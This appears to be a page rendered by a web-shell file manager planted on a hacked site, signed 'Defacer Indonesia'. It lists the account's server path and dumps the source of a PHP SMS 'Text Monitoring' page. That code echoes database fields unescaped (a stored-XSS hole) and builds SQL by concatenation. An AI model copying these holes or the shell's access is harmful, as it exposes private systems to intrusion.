whoami7 - Manager
:
/
home
/
gracious
/
mail
/
ledgerless.graciousphils.com
/
Upload File:
files >> /home/gracious/mail/ledgerless.graciousphils.com/textMonitoring.php
<!doctype html> <?php include 'connection.php'; //SALES OFFICE UPGRADE if(isset($_SESSION['user']) && ($_SESSION['position'] == 2 || $_SESSION['position'] == 3 || $_SESSION['position'] == 4)){ ?> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- Bootstrap CSS --> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous"> <link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.0.1/css/bootstrap.min.css"/> <link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.25/css/jquery.dataTables.min.css"/> <link rel="stylesheet" type="text/css" href="styles.css"> <title>PAL+</title> <style type="text/css"> .dataTables_length { margin-bottom: 5px; } </style> </head> <body> <?php include 'navBar.php'; ?> <?php if(isset($_POST['btnTextSearch'])){ $clientType = $_POST['modalClientType']; $fromDate = date("Y-m-d", strtotime($_POST['modalFrom'])); $toDate = date("Y-m-d", strtotime($_POST['modalTo'])); if($clientType=="All"){ $query = "select * from tbltextpool where (receivedDate LIKE '%" . $fromDate . "%' or receivedDate LIKE '%" . $toDate . "%') and status != 'Posted' order by receivedDate DESC"; } else if($clientType=="New"){ $query = "select * from tbltextpool where (receivedDate LIKE '%" . $fromDate . "%' or receivedDate LIKE '%" . $toDate . "%') and (message LIKE '" . "%#PPS%" . "' OR message LIKE '" . "%#LC%" . "' OR message LIKE '" . "%#ER%" . "') and status != 'Posted' order by processedTime DESC"; } } else{ $rDate = date('Y-m-d'); $query = "select * from tbltextpool where receivedDate LIKE '%" . $rDate . "%' and status != 'Posted' order by receivedDate DESC"; } $st = $pdo->prepare($query); $st->execute(); ?> <br> <div class="container-fluid"> <div class="row mb-2"> <h2 class="col-lg-8 offset-lg-2 text-center">Text Monitoring</h2> </div> <form method="POST" action="textMonitoring.php"> <div class="form-group row mb-2"> <label for="modalAccountNumber" class="col-sm-1 col-form-label">From:</label> <div class="col-lg-1"> <input type="date" class="form-control form-control-sm" name="modalFrom" value="<?php echo date("Y-m-d") ?>" required> </div> <label for="modalAccountNumber" class="col-lg-1 col-form-label">To:</label> <div class="col-lg-1"> <input type="date" class="form-control form-control-sm" name="modalTo" value="<?php echo date("Y-m-d") ?>" required> </div> <label for="modalAccountNumber" class="col-lg-1 col-form-label">Client Type:</label> <div class="col-lg-1"> <select name="modalClientType" id="floatingModeTransfer" class="form-select form-select-sm" required> <option value="All">All</option> <option value="New">New</option> </select> </div> <div class="col-lg-2"> <button type="submit" class="btn btn-sm btn-primary" name="btnTextSearch">Search</button> </div> </div> </form> <div class="row"> <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12"> <table id="example" class="table table-bordered display compact" style="width: 100%;"> <thead> <tr class="text-center table-dark"> <th>#</th> <th>Text Message</th> <th>Call Representative</th> <th>Received Date</th> <th>Processed Date</th> <th>Status</th> </tr> </thead> <tbody> <?php $count = 0; while ($data = $st->fetch()) { $count++; $mystring = $data['message']; $findme1 = "#LC"; $findme2 = "#PPS"; $findme3 = "#ER"; $pos1 = strpos($mystring, $findme1); $pos2 = strpos($mystring, $findme2); $pos3 = strpos($mystring, $findme3); ?> <tr class="text-center"> <?php if(($pos1 !== false)||($pos2 !== false)||($pos3 !== false)){?> <td style = "color: green;font-weight:bold;"><?php echo $count;?></td> <td style = "color: green;font-weight:bold;"><?php echo $data['message'];?></td> <td style = "color: green;font-weight:bold;"><?php echo $data['processedBy'];?></td> <td style = "color: green;font-weight:bold;"><?php echo $data['receivedDate'];?></td> <td style = "color: green;font-weight:bold;"><?php echo $data['processedTime'];?></td> <td style = "color: green;font-weight:bold;"><?php echo $data['status'];?></td> <?php } else{?> <td><?php echo $count;?></td> <td><?php echo $data['message'];?></td> <td><?php echo $data['processedBy'];?></td> <td><?php echo $data['receivedDate'];?></td> <td><?php echo $data['processedTime'];?></td> <td><?php echo $data['status'];?></td> <?php } ?> </tr> <?php } ?> </tbody> </table> </div> </div> </div> <!-- Option 1: Bootstrap Bundle with Popper --> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-gtEjrD/SeCtmISkJkNUaaKMoLD0//ElJ19smozuHV6z3Iehds+3Ulb9Bn9Plx0x4" crossorigin="anonymous"></script> <script src="https://code.jquery.com/jquery-3.5.1.js"></script> <script src="https://cdn.datatables.net/1.10.25/js/jquery.dataTables.min.js"></script> <script> $(document).ready(function() { $('#example').DataTable({ layout: { topStart: { buttons: ['copy', 'csv', 'excel', 'pdf', 'print'] } } }); } ); </script> </body> </html> <?php } else{ session_destroy(); header("location:index.php"); } ?>
Copyright ©2021 || Defacer Indonesia